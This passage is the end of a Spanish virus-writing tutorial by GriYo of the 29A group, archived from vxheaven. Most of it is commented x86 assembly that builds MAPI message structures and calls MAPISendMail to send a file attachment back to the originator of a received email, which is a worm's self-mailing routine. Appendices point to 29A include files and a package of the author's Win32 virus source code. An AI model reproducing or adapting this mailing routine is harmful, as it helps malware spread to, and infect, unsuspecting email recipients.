   stosd             ;lpFiles

   ;Origen del mensaje
      
   xor eax,eax       ;ulReserved 
   stosd
   stosd             ;ulRecipClass 

   lea eax,dword ptr [ebp+szNameFrom] 
   stosd             ;lpszName
   lea eax,dword ptr [ebp+szMailFrom] 
   stosd             ;lpszAddress
   xor eax,eax
   stosd             ;ulEIDSize
   stosd             ;lpEntryID

   ;Destino del mensaje

   stosd             ;ulReserved 
   inc eax ;MAPI_TO
   stosd             ;ulRecipClass

   mov esi,dword ptr [ebp+MessagePtr]
   add esi,0000001Ch ;Go to originator
   lodsd
   lea esi,dword ptr [eax+00000008h]
   movsd
   movsd

   xor eax,eax
   stosd             ;ulEIDSize
   stosd             ;lpEntryID

   ;Indicamos el fichero que queremos incluir junto con el mensaje

   stosd             ;ulReserved
   stosd             ;flFlags
   mov eax,00000000h
   stosd             ;nPosition
   lea eax,dword ptr [ebp+szFileAttach]
   stosd             ;lpszPathName
   lea eax,dword ptr [ebp+szFileMsg]
   stosd             ;lpszFileName
   xor eax,eax
   stosd             ;lpFileType

   ;Y finalmente enviamos el mensaje

   push 00000000h
   push 00000000h
   lea eax,dword ptr [ebp+MapiMessage]
   push eax
   push 00000000h
   push dword ptr [ebp+hMAPISession]
   call dword ptr [ebp+a_MAPISendMail]

   ;Antes de terminar es necesario liberar la memoria que ha quedado
   ;reservada por MAPI

   push dword ptr [ebp+MessagePtr]
   call dword ptr [ebp+a_MAPIFreeBuffer]

   ;Seamos elegantes, despidámonos


logoutMAPI32:   push 00000000h
   push 00000000h
   push 00000000h
   push dword ptr [ebp+hMAPISession]
   call dword ptr [ebp+a_MAPILogoff]    
    

   ;Liberamos MAPI32.DLL para terminar

freeMAPI32:     push dword ptr [ebp+hMAPI32]
   call FreeLibrary

Apéndice A: 29A Include files.

Junto con el paquete que acompaña a este articulo encontraras los ficheros necesarios para manejar fácilmente en ensamblador las numerosas estructuras y constantes con las que nos encontraremos al trabajar en Win32. Estos ficheros, una vez incluidos en nuestro código fuente, nos facilitaran la vida a la hora de escribir fuentes más claros e inteligibles. Su autor, Jacky Qwerty ( del grupo 29A ) ha incluido en ellos todas las estructuras básicas y constantes que necesitaremos para empezar a trabajar en serio.

INCLUDES.ZIP (29A Include files)

Apéndice B: Código fuente.

Además de los ficheros de *includes* de 29A, en el paquete adjunto encontrarás el código fuente de algunos virus que he desarrollado para la plataforma Win32. Esta es una lista de los ficheros y su contenido:

En mi pagina personal podrás encontrar información detallada sobre el funcionamiento de cada uno de estos virus, además de artículos, tutoriales, notícias y utilidades. La URL es:

					Por GriYo / 29A
[De vuelta al índice] [Comentarios]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua